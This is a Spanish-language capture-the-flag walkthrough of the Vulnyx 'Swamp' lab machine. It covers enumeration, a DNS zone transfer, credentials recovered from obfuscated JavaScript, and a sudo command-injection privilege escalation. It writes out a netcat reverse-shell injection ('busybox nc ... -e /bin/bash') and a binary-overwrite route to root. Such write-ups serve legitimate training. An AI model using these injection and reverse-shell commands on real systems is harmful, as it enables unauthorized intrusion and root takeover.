Write-up: Máquina Swamp (Vulnyx) - Easy

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.79
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.79


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.79 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22, 53 y 80 y nos muestra el dominio swamp.nyx, lo agregamos al archivo /etc/hosts, para ello ejecutamos el siguiente comando:

$ nano /etc/host


Comprobamos que es lo que corre en el dominio.


Comprobamos si en el servicio DNS (53) está mal configurado la transferencia de zona (AXFR), para ello ejecutamos el siguiente comando:

$ dig axfr @10.0.2.79 swamp.nyx


Obtenemos varios subdominios, los agregamos tambien al archivo /etc/hosts, para ello ejecutamos el siguiente comando:

$ nano /etc/host


Accedemos a cada uno de los subdominios encontrados.



El subdominio farfaraway.swamp.nyx importa el archivo JavaScript script.min.js.


Nos damos cuenta de que dispone de un código ofuscado, por lo tanto, lo descodificamos con la herramienta Cyberchef.


Encontramos las credenciales shrek:putopesaoelasno.

Nos conectamos por ssh, para ello ejecutamos el siguiente comando:

$ ssh shrek@10.0.2.79


Introducimos la contraseña obtenida anteriormente.

¡¡¡Somos shrek!!!

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario header_checker que lo podemos ejecutar como cualquier usuario del sistema incluido root, Revisamos la ayuda de este binario y vemos el parámetro --url, por lo tanto, lo ejecutamos:

$ sudo -u root /home/shrek/header_checker --url 'google.es'


Nos damos cuenta de que el binario hace uso de curl, con la ayuda de la herramienta strings extraemos cadenas de texto legibles desde el binario, para ello ejecutamos el siguiente comando:

$ strings header_checker


Encontramos la cadena execvp siendo una función del lenguaje de programación C, Investigando en la pagina de hacktricks nos damos cuenta de que el binario invoca una shell intermedia concatenando la entrada del usuario de forma insegura antes de ejecutarla, por lo tanto, comprobamos esta vulnerabilidad de Command Injection inyectando un comando, para ello ejecutamos el siguiente comando:

$ sudo -u root /home/shrek/header_checker --url 'google.es; id'


A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat(nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando.

$ nc -lvnp 443

Ejecutamos la siguiente reverse shell en busybox.

$ sudo -u root /home/shrek/header_checker --url 'google.es; busybox nc 10.0.2.4 443 -e /bin/bash'


Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos.

$ script /dev/null -c bash
   Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Existe tambien la posibilidad de sobreescribir o eliminar el binario header_checker y creando uno nuevo con el mismo nombre ya que disponemos de permisos de escritura sobre el, y lo podemos ejecutar como el usuario root, en este caso lo vamos a sobreescribir, para ello ejecutamos el siguiente comando:

$ cat > /home/shrek/header_checker <<'EOF'


Ejecutamos el binario, para ello ejecutamos el siguiente comando:

$ sudo -u root /home/shrek/header_checker

O bien ejecutando el siguiente comando:

$ /home/shrek/header_checker

Ejecutamos el binario bash con la opción -p para que preserve los privilegios efectivos, para ello ejecutamos el siguiente comando:

$ bash -p


¡¡¡Ya somos root!!!

Ya podemos leer las flags de user y root.